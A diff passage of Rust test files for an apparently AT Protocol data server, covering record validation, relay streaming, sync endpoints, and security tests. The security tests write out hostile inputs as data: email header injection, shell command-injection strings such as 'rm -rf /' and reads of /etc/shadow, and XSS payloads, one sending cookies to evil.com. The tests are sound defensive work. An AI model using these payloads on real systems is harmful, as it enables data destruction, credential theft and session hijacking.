|
||||
|
||||
#[test]
|
||||
fn test_validate_record_key_dot() {
|
||||
assert!(validate_record_key(".").is_err());
|
||||
assert!(validate_record_key("..").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_record_key_invalid_chars() {
|
||||
assert!(validate_record_key("invalid/key").is_err());
|
||||
assert!(validate_record_key("invalid key").is_err());
|
||||
assert!(validate_record_key("invalid@key").is_err());
|
||||
assert!(validate_record_key("invalid#key").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_record_key_too_long() {
|
||||
let long_key = "k".repeat(513);
|
||||
let result = validate_record_key(&long_key);
|
||||
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_record_key_at_max_length() {
|
||||
let max_key = "k".repeat(512);
|
||||
assert!(validate_record_key(&max_key).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_collection_nsid_valid() {
|
||||
assert!(validate_collection_nsid("app.bsky.feed.post").is_ok());
|
||||
assert!(validate_collection_nsid("com.atproto.repo.record").is_ok());
|
||||
assert!(validate_collection_nsid("a.b.c").is_ok());
|
||||
assert!(validate_collection_nsid("my-app.domain.record-type").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_collection_nsid_empty() {
|
||||
let result = validate_collection_nsid("");
|
||||
assert!(matches!(result, Err(ValidationError::InvalidRecord(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_collection_nsid_too_few_segments() {
|
||||
assert!(validate_collection_nsid("a").is_err());
|
||||
assert!(validate_collection_nsid("a.b").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_collection_nsid_empty_segment() {
|
||||
assert!(validate_collection_nsid("a..b.c").is_err());
|
||||
assert!(validate_collection_nsid(".a.b.c").is_err());
|
||||
assert!(validate_collection_nsid("a.b.c.").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_collection_nsid_invalid_chars() {
|
||||
assert!(validate_collection_nsid("a.b.c/d").is_err());
|
||||
assert!(validate_collection_nsid("a.b.c_d").is_err());
|
||||
assert!(validate_collection_nsid("a.b.c@d").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_threadgate() {
|
||||
let validator = RecordValidator::new();
|
||||
let gate = json!({
|
||||
"$type": "app.bsky.feed.threadgate",
|
||||
"post": "at://did:plc:test/app.bsky.feed.post/123",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&gate, "app.bsky.feed.threadgate");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_labeler_service() {
|
||||
let validator = RecordValidator::new();
|
||||
let labeler = json!({
|
||||
"$type": "app.bsky.labeler.service",
|
||||
"policies": {
|
||||
"labelValues": ["spam", "nsfw"]
|
||||
},
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&labeler, "app.bsky.labeler.service");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_list_item() {
|
||||
let validator = RecordValidator::new();
|
||||
let item = json!({
|
||||
"$type": "app.bsky.graph.listitem",
|
||||
"subject": "did:plc:test123",
|
||||
"list": "at://did:plc:owner/app.bsky.graph.list/mylist",
|
||||
"createdAt": now()
|
||||
});
|
||||
let result = validator.validate(&item, "app.bsky.graph.listitem");
|
||||
assert_eq!(result.unwrap(), ValidationStatus::Valid);
|
||||
}
|
||||
@@ -1,86 +0,0 @@
|
||||
mod common;
|
||||
use common::*;
|
||||
|
||||
use axum::{extract::ws::Message, routing::get, Router};
|
||||
use bspds::{
|
||||
state::AppState,
|
||||
sync::{firehose::SequencedEvent, relay_client::start_relay_clients},
|
||||
};
|
||||
use chrono::Utc;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio::sync::mpsc;
|
||||
|
||||
async fn mock_relay_server(
|
||||
listener: TcpListener,
|
||||
event_tx: mpsc::Sender<Vec<u8>>,
|
||||
connected_tx: mpsc::Sender<()>,
|
||||
) {
|
||||
let handler = |ws: axum::extract::ws::WebSocketUpgrade| async {
|
||||
ws.on_upgrade(move |mut socket| async move {
|
||||
let _ = connected_tx.send(()).await;
|
||||
while let Some(Ok(msg)) = socket.recv().await {
|
||||
if let Message::Binary(bytes) = msg {
|
||||
let _ = event_tx.send(bytes.to_vec()).await;
|
||||
break;
|
||||
}
|
||||
}
|
||||
})
|
||||
};
|
||||
let app = Router::new().route("/", get(handler));
|
||||
|
||||
axum::serve(listener, app.into_make_service())
|
||||
.await
|
||||
.unwrap();
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_outbound_relay_client() {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let addr = listener.local_addr().unwrap();
|
||||
let (event_tx, mut event_rx) = mpsc::channel(1);
|
||||
let (connected_tx, _connected_rx) = mpsc::channel::<()>(1);
|
||||
tokio::spawn(mock_relay_server(listener, event_tx, connected_tx));
|
||||
let relay_url = format!("ws://{}", addr);
|
||||
|
||||
let db_url = get_db_connection_string().await;
|
||||
let pool = sqlx::postgres::PgPoolOptions::new()
|
||||
.connect(&db_url)
|
||||
.await
|
||||
.unwrap();
|
||||
let state = AppState::new(pool).await;
|
||||
|
||||
let (ready_tx, ready_rx) = mpsc::channel(1);
|
||||
start_relay_clients(state.clone(), vec![relay_url], Some(ready_rx)).await;
|
||||
|
||||
tokio::time::timeout(
|
||||
tokio::time::Duration::from_secs(5),
|
||||
async {
|
||||
ready_tx.closed().await;
|
||||
}
|
||||
)
|
||||
.await
|
||||
.expect("Timeout waiting for relay client to be ready");
|
||||
|
||||
let dummy_event = SequencedEvent {
|
||||
seq: 1,
|
||||
did: "did:plc:test".to_string(),
|
||||
created_at: Utc::now(),
|
||||
event_type: "commit".to_string(),
|
||||
commit_cid: Some("bafyreihffx5a4o3qbv7vp6qmxpxok5mx5xvlsq6z4x3xv3zqv7vqvc7mzy".to_string()),
|
||||
prev_cid: None,
|
||||
ops: Some(serde_json::json!([])),
|
||||
blobs: Some(vec![]),
|
||||
blocks_cids: Some(vec![]),
|
||||
};
|
||||
state.firehose_tx.send(dummy_event).unwrap();
|
||||
|
||||
let received_bytes = tokio::time::timeout(
|
||||
tokio::time::Duration::from_secs(5),
|
||||
event_rx.recv()
|
||||
)
|
||||
.await
|
||||
.expect("Timeout waiting for event")
|
||||
.expect("Event channel closed");
|
||||
|
||||
assert!(!received_bytes.is_empty());
|
||||
}
|
||||
@@ -0,0 +1,377 @@
|
||||
mod common;
|
||||
|
||||
use bspds::notifications::{
|
||||
SendError, is_valid_phone_number, sanitize_header_value,
|
||||
};
|
||||
use bspds::oauth::templates::{login_page, error_page, success_page};
|
||||
use bspds::image::{ImageProcessor, ImageError};
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_header_value_removes_crlf() {
|
||||
let malicious = "Injected\r\nBcc: attacker@evil.com";
|
||||
let sanitized = sanitize_header_value(malicious);
|
||||
|
||||
assert!(!sanitized.contains('\r'), "CR should be removed");
|
||||
assert!(!sanitized.contains('\n'), "LF should be removed");
|
||||
assert!(sanitized.contains("Injected"), "Original content should be preserved");
|
||||
assert!(sanitized.contains("Bcc:"), "Text after newline should be on same line (no header injection)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_header_value_preserves_content() {
|
||||
let normal = "Normal Subject Line";
|
||||
let sanitized = sanitize_header_value(normal);
|
||||
|
||||
assert_eq!(sanitized, "Normal Subject Line");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_header_value_trims_whitespace() {
|
||||
let padded = " Subject ";
|
||||
let sanitized = sanitize_header_value(padded);
|
||||
|
||||
assert_eq!(sanitized, "Subject");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_sanitize_header_value_handles_multiple_newlines() {
|
||||
let input = "Line1\r\nLine2\nLine3\rLine4";
|
||||
let sanitized = sanitize_header_value(input);
|
||||
|
||||
assert!(!sanitized.contains('\r'), "CR should be removed");
|
||||
assert!(!sanitized.contains('\n'), "LF should be removed");
|
||||
assert!(sanitized.contains("Line1"), "Content before newlines preserved");
|
||||
assert!(sanitized.contains("Line4"), "Content after newlines preserved");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_email_header_injection_sanitization() {
|
||||
let header_injection = "Normal Subject\r\nBcc: attacker@evil.com\r\nX-Injected: value";
|
||||
let sanitized = sanitize_header_value(header_injection);
|
||||
|
||||
let lines: Vec<&str> = sanitized.split("\r\n").collect();
|
||||
assert_eq!(lines.len(), 1, "Should be a single line after sanitization");
|
||||
assert!(sanitized.contains("Normal Subject"), "Original content preserved");
|
||||
assert!(sanitized.contains("Bcc:"), "Content after CRLF preserved as same line text");
|
||||
assert!(sanitized.contains("X-Injected:"), "All content on same line");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_accepts_correct_format() {
|
||||
assert!(is_valid_phone_number("+1234567890"));
|
||||
assert!(is_valid_phone_number("+12025551234"));
|
||||
assert!(is_valid_phone_number("+442071234567"));
|
||||
assert!(is_valid_phone_number("+4915123456789"));
|
||||
assert!(is_valid_phone_number("+1"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_missing_plus() {
|
||||
assert!(!is_valid_phone_number("1234567890"));
|
||||
assert!(!is_valid_phone_number("12025551234"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_empty() {
|
||||
assert!(!is_valid_phone_number(""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_just_plus() {
|
||||
assert!(!is_valid_phone_number("+"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_too_long() {
|
||||
assert!(!is_valid_phone_number("+12345678901234567890123"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_letters() {
|
||||
assert!(!is_valid_phone_number("+abc123"));
|
||||
assert!(!is_valid_phone_number("+1234abc"));
|
||||
assert!(!is_valid_phone_number("+a"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_spaces() {
|
||||
assert!(!is_valid_phone_number("+1234 5678"));
|
||||
assert!(!is_valid_phone_number("+ 1234567890"));
|
||||
assert!(!is_valid_phone_number("+1 "));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_phone_number_rejects_special_chars() {
|
||||
assert!(!is_valid_phone_number("+123-456-7890"));
|
||||
assert!(!is_valid_phone_number("+1(234)567890"));
|
||||
assert!(!is_valid_phone_number("+1.234.567.890"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_signal_recipient_command_injection_blocked() {
|
||||
let malicious_inputs = vec![
|
||||
"+123; rm -rf /",
|
||||
"+123 && cat /etc/passwd",
|
||||
"+123`id`",
|
||||
"+123$(whoami)",
|
||||
"+123|cat /etc/shadow",
|
||||
"+123\n--help",
|
||||
"+123\r\n--version",
|
||||
"+123--help",
|
||||
];
|
||||
|
||||
for input in malicious_inputs {
|
||||
assert!(!is_valid_phone_number(input), "Malicious input '{}' should be rejected", input);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_image_file_size_limit_enforced() {
|
||||
let processor = ImageProcessor::new();
|
||||
|
||||
let oversized_data: Vec<u8> = vec![0u8; 11 * 1024 * 1024];
|
||||
|
||||
let result = processor.process(&oversized_data, "image/jpeg");
|
||||
|
||||
match result {
|
||||
Err(ImageError::FileTooLarge { .. }) => {}
|
||||
Err(other) => {
|
||||
let msg = format!("{:?}", other);
|
||||
if !msg.to_lowercase().contains("size") && !msg.to_lowercase().contains("large") {
|
||||
panic!("Expected FileTooLarge error, got: {:?}", other);
|
||||
}
|
||||
}
|
||||
Ok(_) => panic!("Should reject files over size limit"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_image_file_size_limit_configurable() {
|
||||
let processor = ImageProcessor::new().with_max_file_size(1024);
|
||||
|
||||
let data: Vec<u8> = vec![0u8; 2048];
|
||||
|
||||
let result = processor.process(&data, "image/jpeg");
|
||||
|
||||
assert!(result.is_err(), "Should reject files over configured limit");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_xss_escaping_client_id() {
|
||||
let malicious_client_id = "<script>alert('xss')</script>";
|
||||
let html = login_page(malicious_client_id, None, None, "test-uri", None, None);
|
||||
|
||||
assert!(!html.contains("<script>"), "Script tags should be escaped");
|
||||
assert!(html.contains("<script>"), "HTML entities should be used for escaping");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_xss_escaping_client_name() {
|
||||
let malicious_client_name = "<img src=x onerror=alert('xss')>";
|
||||
let html = login_page("client123", Some(malicious_client_name), None, "test-uri", None, None);
|
||||
|
||||
assert!(!html.contains("<img "), "IMG tags should be escaped");
|
||||
assert!(html.contains("<img"), "IMG tag should be escaped as HTML entity");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_xss_escaping_scope() {
|
||||
let malicious_scope = "\"><script>alert('xss')</script>";
|
||||
let html = login_page("client123", None, Some(malicious_scope), "test-uri", None, None);
|
||||
|
||||
assert!(!html.contains("<script>"), "Script tags in scope should be escaped");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_xss_escaping_error_message() {
|
||||
let malicious_error = "<script>document.location='http://evil.com?c='+document.cookie</script>";
|
||||
let html = login_page("client123", None, None, "test-uri", Some(malicious_error), None);
|
||||
|
||||
assert!(!html.contains("<script>"), "Script tags in error should be escaped");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_xss_escaping_login_hint() {
|
||||
let malicious_hint = "\" onfocus=\"alert('xss')\" autofocus=\"";
|
||||
let html = login_page("client123", None, None, "test-uri", None, Some(malicious_hint));
|
||||
|
||||
assert!(!html.contains("onfocus=\"alert"), "Event handlers should be escaped in login hint");
|
||||
assert!(html.contains("""), "Quotes should be escaped");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_xss_escaping_request_uri() {
|
||||
let malicious_uri = "\" onmouseover=\"alert('xss')\"";
|
||||
let html = login_page("client123", None, None, malicious_uri, None, None);
|
||||
|
||||
assert!(!html.contains("onmouseover=\"alert"), "Event handlers should be escaped in request_uri");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_error_page_xss_escaping() {
|
||||
let malicious_error = "<script>steal()</script>";
|
||||
let malicious_desc = "<img src=x onerror=evil()>";
|
||||
|
||||
let html = error_page(malicious_error, Some(malicious_desc));
|
||||
|
||||
assert!(!html.contains("<script>"), "Script tags should be escaped in error page");
|
||||
assert!(!html.contains("<img "), "IMG tags should be escaped in error page");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_success_page_xss_escaping() {
|
||||
let malicious_name = "<script>steal_session()</script>";
|
||||
|
||||
let html = success_page(Some(malicious_name));
|
||||
|
||||
assert!(!html.contains("<script>"), "Script tags should be escaped in success page");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_no_javascript_urls() {
|
||||
let html = login_page("client123", None, None, "test-uri", None, None);
|
||||
assert!(!html.contains("javascript:"), "Login page should not contain javascript: URLs");
|
||||
|
||||
let error_html = error_page("test_error", None);
|
||||
assert!(!error_html.contains("javascript:"), "Error page should not contain javascript: URLs");
|
||||
|
||||
let success_html = success_page(None);
|
||||
assert!(!success_html.contains("javascript:"), "Success page should not contain javascript: URLs");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_form_action_safe() {
|
||||
let malicious_uri = "javascript:alert('xss')//";
|
||||
let html = login_page("client123", None, None, malicious_uri, None, None);
|
||||
|
||||
assert!(html.contains("action=\"/oauth/authorize\""), "Form action should be fixed URL");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_send_error_types_have_display() {
|
||||
let timeout = SendError::Timeout;
|
||||
let max_retries = SendError::MaxRetriesExceeded("test".to_string());
|
||||
let invalid_recipient = SendError::InvalidRecipient("bad recipient".to_string());
|
||||
|
||||
assert!(!format!("{}", timeout).is_empty());
|
||||
assert!(!format!("{}", max_retries).is_empty());
|
||||
assert!(!format!("{}", invalid_recipient).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_send_error_timeout_message() {
|
||||
let error = SendError::Timeout;
|
||||
let msg = format!("{}", error);
|
||||
assert!(msg.to_lowercase().contains("timeout"), "Timeout error should mention timeout");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_send_error_max_retries_includes_detail() {
|
||||
let error = SendError::MaxRetriesExceeded("Server returned 503".to_string());
|
||||
let msg = format!("{}", error);
|
||||
assert!(msg.contains("503") || msg.contains("retries"), "MaxRetriesExceeded should include context");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_check_signup_queue_accepts_session_jwt() {
|
||||
use common::{base_url, client, create_account_and_login};
|
||||
|
||||
let base = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let (token, _did) = create_account_and_login(&http_client).await;
|
||||
|
||||
let res = http_client
|
||||
.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
|
||||
.header("Authorization", format!("Bearer {}", token))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(res.status(), reqwest::StatusCode::OK, "Session JWTs should be accepted");
|
||||
|
||||
let body: serde_json::Value = res.json().await.unwrap();
|
||||
assert_eq!(body["activated"], true);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_check_signup_queue_no_auth() {
|
||||
use common::{base_url, client};
|
||||
|
||||
let base = base_url().await;
|
||||
let http_client = client();
|
||||
|
||||
let res = http_client
|
||||
.get(format!("{}/xrpc/com.atproto.temp.checkSignupQueue", base))
|
||||
.send()
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(res.status(), reqwest::StatusCode::OK, "No auth should work");
|
||||
|
||||
let body: serde_json::Value = res.json().await.unwrap();
|
||||
assert_eq!(body["activated"], true);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_html_escape_ampersand() {
|
||||
let html = login_page("client&test", None, None, "test-uri", None, None);
|
||||
assert!(html.contains("&"), "Ampersand should be escaped");
|
||||
assert!(!html.contains("client&test"), "Raw ampersand should not appear in output");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_html_escape_quotes() {
|
||||
let html = login_page("client\"test'more", None, None, "test-uri", None, None);
|
||||
assert!(html.contains(""") || html.contains("""), "Double quotes should be escaped");
|
||||
assert!(html.contains("'") || html.contains("'"), "Single quotes should be escaped");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_html_escape_angle_brackets() {
|
||||
let html = login_page("client<test>more", None, None, "test-uri", None, None);
|
||||
assert!(html.contains("<"), "Less than should be escaped");
|
||||
assert!(html.contains(">"), "Greater than should be escaped");
|
||||
assert!(!html.contains("<test>"), "Raw angle brackets should not appear");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_oauth_template_preserves_safe_content() {
|
||||
let html = login_page("my-safe-client", Some("My Safe App"), Some("read write"), "valid-uri", None, Some("user@example.com"));
|
||||
|
||||
assert!(html.contains("my-safe-client") || html.contains("My Safe App"), "Safe content should be preserved");
|
||||
assert!(html.contains("read write") || html.contains("read"), "Scope should be preserved");
|
||||
assert!(html.contains("user@example.com"), "Login hint should be preserved");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_csrf_like_input_value_protection() {
|
||||
let malicious = "\" onclick=\"alert('csrf')";
|
||||
let html = login_page("client", None, None, malicious, None, None);
|
||||
|
||||
assert!(!html.contains("onclick=\"alert"), "Event handlers should not be executable");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_unicode_handling_in_templates() {
|
||||
let unicode_client = "客户端 クライアント";
|
||||
let html = login_page(unicode_client, None, None, "test-uri", None, None);
|
||||
|
||||
assert!(html.contains("客户端") || html.contains("&#"), "Unicode should be preserved or encoded");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_null_byte_in_input() {
|
||||
let with_null = "client\0id";
|
||||
let sanitized = sanitize_header_value(with_null);
|
||||
|
||||
assert!(sanitized.contains("client"), "Content before null should be preserved");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_very_long_input_handling() {
|
||||
let long_input = "x".repeat(10000);
|
||||
let sanitized = sanitize_header_value(&long_input);
|
||||
|
||||
assert!(!sanitized.is_empty(), "Long input should still produce output");
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
mod common;
|
||||
mod helpers;
|
||||
use common::*;
|
||||
use helpers::*;
|
||||
|
||||
use reqwest::StatusCode;
|
||||
use serde_json::Value;
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_success() {
|
||||
let client = client();
|
||||
let (did, _jwt) = setup_new_user("gethead-success").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body: Value = res.json().await.expect("Response was not valid JSON");
|
||||
assert!(body["root"].is_string());
|
||||
let root = body["root"].as_str().unwrap();
|
||||
assert!(root.starts_with("bafy"), "Root CID should be a CID");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_not_found() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", "did:plc:nonexistent12345")])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
|
||||
let body: Value = res.json().await.expect("Response was not valid JSON");
|
||||
assert_eq!(body["error"], "HeadNotFound");
|
||||
assert!(body["message"].as_str().unwrap().contains("Could not find root"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_missing_param() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_empty_did() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", "")])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
|
||||
let body: Value = res.json().await.expect("Response was not valid JSON");
|
||||
assert_eq!(body["error"], "InvalidRequest");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_whitespace_did() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", " ")])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_changes_after_record_create() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("gethead-changes").await;
|
||||
|
||||
let res1 = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to get initial head");
|
||||
let body1: Value = res1.json().await.unwrap();
|
||||
let head1 = body1["root"].as_str().unwrap().to_string();
|
||||
|
||||
create_post(&client, &did, &jwt, "Post to change head").await;
|
||||
|
||||
let res2 = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to get head after record");
|
||||
let body2: Value = res2.json().await.unwrap();
|
||||
let head2 = body2["root"].as_str().unwrap().to_string();
|
||||
|
||||
assert_ne!(head1, head2, "Head CID should change after record creation");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_success() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("getcheckout-success").await;
|
||||
|
||||
create_post(&client, &did, &jwt, "Post for checkout test").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
assert_eq!(
|
||||
res.headers()
|
||||
.get("content-type")
|
||||
.and_then(|h| h.to_str().ok()),
|
||||
Some("application/vnd.ipld.car")
|
||||
);
|
||||
let body = res.bytes().await.expect("Failed to get body");
|
||||
assert!(!body.is_empty(), "CAR file should not be empty");
|
||||
assert!(body.len() > 50, "CAR file should contain actual data");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_not_found() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", "did:plc:nonexistent12345")])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::NOT_FOUND);
|
||||
let body: Value = res.json().await.expect("Response was not valid JSON");
|
||||
assert_eq!(body["error"], "RepoNotFound");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_missing_param() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_empty_did() {
|
||||
let client = client();
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", "")])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::BAD_REQUEST);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_empty_repo() {
|
||||
let client = client();
|
||||
let (did, _jwt) = setup_new_user("getcheckout-empty").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body = res.bytes().await.expect("Failed to get body");
|
||||
assert!(!body.is_empty(), "Even empty repo should return CAR header");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_includes_multiple_records() {
|
||||
let client = client();
|
||||
let (did, jwt) = setup_new_user("getcheckout-multi").await;
|
||||
|
||||
for i in 0..5 {
|
||||
tokio::time::sleep(std::time::Duration::from_millis(50)).await;
|
||||
create_post(&client, &did, &jwt, &format!("Checkout post {}", i)).await;
|
||||
}
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getCheckout",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to send request");
|
||||
|
||||
assert_eq!(res.status(), StatusCode::OK);
|
||||
let body = res.bytes().await.expect("Failed to get body");
|
||||
assert!(body.len() > 500, "CAR file with 5 records should be larger");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_head_matches_latest_commit() {
|
||||
let client = client();
|
||||
let (did, _jwt) = setup_new_user("gethead-matches-latest").await;
|
||||
|
||||
let head_res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getHead",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to get head");
|
||||
let head_body: Value = head_res.json().await.unwrap();
|
||||
let head_root = head_body["root"].as_str().unwrap();
|
||||
|
||||
let latest_res = client
|
||||
.get(format!(
|
||||
"{}/xrpc/com.atproto.sync.getLatestCommit",
|
||||
base_url().await
|
||||
))
|
||||
.query(&[("did", did.as_str())])
|
||||
.send()
|
||||
.await
|
||||
.expect("Failed to get latest commit");
|
||||
let latest_body: Value = latest_res.json().await.unwrap();
|
||||
let latest_cid = latest_body["cid"].as_str().unwrap();
|
||||
|
||||
assert_eq!(head_root, latest_cid, "getHead root should match getLatestCommit cid");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn test_get_checkout_car_header_valid() {
|
||||
let client = client();
|
||||
let (did, _jwt) = setup_new_user("getcheckout-header").await;
|
||||
|
||||
let res = client
|
||||
.get(format!(
|
||||
